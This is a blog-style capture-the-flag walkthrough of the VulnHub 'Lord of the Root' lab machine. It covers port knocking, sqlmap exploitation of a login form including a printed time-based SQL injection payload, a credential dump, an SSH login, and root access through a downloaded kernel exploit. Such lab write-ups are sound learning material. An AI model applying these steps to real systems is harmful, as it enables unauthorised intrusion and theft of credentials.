Hacking : Lord of The Root
Another VulnHub Capture The Flag Walkthrough.
Introduction
This post is part of a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.
The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.
Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.
At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯
Let’s get Started : My Setup
The challenge we are looking at in this post is the Lord Of The Root: 1.0.1 virtual machine found on VulnHub.
Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.
First Things First : Recon
First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.
nmap -sS 172.16.186.1/24
Not much to go on here. We have our target at 172.16.186.208 with an open ssh port. I did fire up zenmap at this point to do a more thrurough scant of all tcp ports, but nothing but port 22 ssh open.
So we try just a plain ssh request to see bat kind of banner info we may get.
ssh 173.16.186.208
Interesting, looks like we have our first hint. It suggests we have to knock before “entering” so to speak and something about it being easy as 1,2,3.
I wonder if we are talking about port knocking and maybe the 1,2,3 are referring to the port numbers? So I tried knocking on those three ports.
nmap -Pn — host-timeout 100 — max-retries 0 -p 1 172.16.186.208
nmap -Pn — host-timeout 100 — max-retries 0 -p 2 172.16.186.208
nmap -Pn — host-timeout 100 — max-retries 0 -p 3172.16.186.208
Then we tried ssh again, only to find the same banner, but maybe it triggered something. I spun up zenmap again, starting another scan of all TCP ports and waited in anticipation.
Nice! we found a new port, 1337 running an Apache web server.
Typically I run nikto on the target here, but it didn’t reveal anything exciting so we went straight to our browser.
You do you girl! You bring that ring to Mordor!
Just a very simple page here. Nothing but what we see in the browser as far as looking at the source code. Just a simple image tag.
At this point, I thought about making a “Lord of The Rings”, wordlist using cewl or something and trying to brute-force some directories, but before we go to such lengths I decided to just try “mordor”
It worked! Great, and what’s more, looking at the source code this time we have a little extra something.
<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>That looks a lot like a base64 encoded string and what do we do with such things? We decode them.
echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d
Ok again!
echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d
Well that looks like a promising end point to our target site.
I quickly test this form with some dummy data. This reveals that the error messages won’t help us try to brute force usernames, so I fire up burp suite to capture a request and see what I can find.
So we have a typical post request with 3 params and a cookie, all of which could be potential sql-injection points. So I do what I always do.
I copy the whole request to a file called mordor.req and throw it at sqlmap.
POST /978345210/index.php HTTP/1.1
Host: 172.16.186.208:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.186.208:1337/978345210/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Cookie: PHPSESSID=vr1ot4ubvkt5d9cbadcf94rmc3
Connection: close
Upgrade-Insecure-Requests: 1username=admin&password=password&submit=+Login+
Because I think the cookie might also be an injection point, I up the level of attack with sqlmap to 3, which will test for time based and cookie injections as well.
sqlmap -r mordor.req — dbs — level 3
Bam! Just like that we have found a SQL injection point in the username param.
POST parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 723 HTTP(s) requests:
— -
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin’ AND (SELECT 8356 FROM (SELECT(SLEEP(5)))SOsK) — ghjf&password=password&submit= Login
— -
We were also able to reveal the following DB names.
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
I decided to immediately enumerate the tables of the Webapp DB.
sqlmap -r mordor.req — dbs — level 3 -D Webapp — tables
We found a table called Users, which is always a good sign so, we go on to dump that table.
sqlmap -r mordor.req — dbs — level 3 -D Webapp -T Users — dump
Oh my goodness, so many user to choose from. We have almost the whole gang here. Of course we try them all in our web form and while they all appear to be valid credentials, they all just land us on the same page.
I decided to try these credentials via ssh, starting with legolas since he has waffles, and I like waffles very much.
None of them worked except smeagol.
ssh smeagol@172.16.186.208
Game On! : Privilege Escalation
I start off by trying to list our sudo privileges as smeagol.
sudo -l
“Sorry, user smeagol may not run sudo on LordOfTheRoot.”
I then took a look at the passwd file to see what users we are dealing with.
cat /etc/passwd
Well this is good news. There doesn’t seem to be any real users except smeagol and root, which must mean we are close!
We continue with our normal privilege escalation recon, to see what suid programs there might be
find / -perm -4000 -type f 2>/dev/null
But nothing seems to stand out. Let’s take another look at our kernal version.
uname -al
Linux LordOfTheRoot 3.19.0–25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux
If we look in the exploit DB that comes with Kali, we find a potential privilege escalation vulnerability in the kernel.
searchsploit Ubuntu 14
More information about the exploit as well as a convenient download link are available at https://www.exploit-db.com/exploits/39166
Copying the download link we use wget on our victim’s machine to grab the exploit.
For whatever reason the exploit didn’t download with the proper extension so I renamed it to 39166.c and then used gcc to compile it and save it out as ‘privesc’
gcc 39166.c -o privesc
Then we merely run it.
./privesc
We are root!
Navigating over to the root directory we find some weird python script that indicates we might have bypassed some secret doors we were suppose to use to get root.
Does it really matter though? We are root!
cat Flag.txt
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
